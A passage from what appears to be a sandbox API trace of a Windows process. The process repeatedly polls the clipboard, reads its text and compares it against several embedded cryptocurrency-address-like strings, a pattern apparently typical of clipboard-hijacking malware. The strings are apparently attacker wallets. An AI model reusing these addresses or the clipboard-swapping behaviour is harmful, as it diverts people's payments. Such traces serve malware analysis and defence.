lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.273] Sleep (dwMilliseconds=0x64) [0048.382] GetOpenClipboardWindow () returned 0x0 [0048.382] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.382] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.382] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.382] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.382] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.382] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.382] CloseClipboard () returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.409] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.411] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.411] Sleep (dwMilliseconds=0x64) [0048.534] GetOpenClipboardWindow () returned 0x0 [0048.534] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.534] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.534] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.534] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.534] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.534] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.534] CloseClipboard () returned 1 [0048.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 